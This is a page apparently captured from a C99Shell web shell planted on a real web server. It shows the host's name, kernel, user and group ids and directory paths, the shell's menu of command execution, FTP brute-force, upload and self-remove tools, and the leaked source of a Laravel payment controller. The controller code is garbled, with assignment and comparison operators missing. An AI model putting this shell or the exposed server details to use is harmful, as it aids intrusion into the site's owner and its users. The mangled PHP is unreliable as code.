!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Payment/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ManualPaymentController.php (4.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Payment;

use 
App\Http\Controllers\Controller;
use 
App\Http\Traits\PaymentTrait;
use 
App\Models\ManualPayment;
use 
App\Models\Transaction;
use 
App\Models\User;
use 
App\Notifications\MembershipUpgradeNotification;
use 
Illuminate\Http\Request;
use 
Modules\Plan\Entities\Plan;

class 
ManualPaymentController extends Controller
{
    use 
PaymentTrait;

    public function 
paymentPlace(Request $request)
    {
        
$plan session('plan');
        
$price $plan->price;
        
$usd_amount currencyConversion($price);
        
$payment ManualPayment::findOrFail($request->payment_id);

        if (
session('payperads')) {
            
// Transaction create
            
Transaction::create([
                
'order_id' => rand(1000999999999),
                
'transaction_id' => uniqid('tr_'),
                
'plan_id' => $plan->id,
                
'user_id' => auth('user')->id(),
                
'payment_provider' => 'offline',
                
'amount' => $price,
                
'currency_symbol' => config('templatecookie.currency_symbol'),
                
'usd_amount' => $usd_amount,
                
'payment_status' => 'unpaid',
                
'manual_payment_id' => $payment->id,
            ]);

            return 
$this->storeAdsData();
        } else {
            
// Transaction create
            
Transaction::create([
                
'order_id' => rand(1000999999999),
                
'transaction_id' => uniqid('tr_'),
                
'plan_id' => $plan->id,
                
'user_id' => auth('user')->id(),
                
'payment_provider' => 'offline',
                
'amount' => $price,
                
'currency_symbol' => config('templatecookie.currency_symbol'),
                
'usd_amount' => $usd_amount,
                
'payment_status' => 'unpaid',
                
'manual_payment_id' => $payment->id,
            ]);
        }
        
// forget sessions
        
$this->forgetSessions();

        
// redirect to customer billing
        
session()->flash('success''Payment is placed waiting for approval');

        return 
redirect()->route('frontend.plans-billing')->send();
    }

    public function 
markPaid(Transaction $order)
    {
        
$order->update(['payment_status' => 'paid']);
        
$plan Plan::findOrFail($order->plan_id);

        
// Plan benefit attach to user
        
$this->userPlanInfoUpdate($plan$order->user_id);

        
// create notification and send mail to customer
        
if (checkMailConfig()) {
            
$user User::findOrFail($order->user_id);
            if (
checkSetup('mail')) {
                
$user->notify(new MembershipUpgradeNotification($user$plan->label));
            }
        }

        
session()->flash('success''Payment marked as paid.');

        return 
back();
    }

    public function 
walletPaymentPlace(Request $request)
    {
        
// plan and user affiliate
        
$plan session('plan');
        
$user_affiliate authUser()?->affiliate;
        
$wallet_balance $user_affiliate?->balance ?? 0;

        
// price and usd amount
        
$price $plan->price;
        
$usd_amount currencyConversion($price);

        
// check wallet balance and redirect back
        
if (! $user_affiliate || $wallet_balance $price) {
            
session()->flash('error'"You don't have enough balance in your wallet to purchase this plan.");

            return 
back();
        }

        
// Transaction create
        
$order Transaction::create([
            
'order_id' => rand(1000999999999),
            
'transaction_id' => uniqid('tr_'),
            
'plan_id' => $plan->id,
            
'user_id' => auth('user')->id(),
            
'payment_provider' => 'wallet_balance',
            
'amount' => $price,
            
'currency_symbol' => config('templatecookie.currency_symbol'),
            
'usd_amount' => $usd_amount,
            
'payment_status' => 'paid',
        ]);

        
// Plan benefit attach to user
        
$this->userPlanInfoUpdate($plan$order->user_id);

        
// update affiliate balance
        
$user_affiliate->update(['balance' => $wallet_balance $price]);

        
// create notification and send mail to customer
        
if (checkMailConfig()) {
            
$user User::findOrFail($order->user_id);
            if (
checkSetup('mail')) {
                
$user->notify(new MembershipUpgradeNotification($user$plan->label));
            }
        }

        
// forget sessions
        
$this->forgetSessions();

        
// redirect to customer billing
        
session()->flash('success''Payment is placed successfully from your wallet balance.');

        return 
redirect()->route('frontend.plans-billing')->send();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--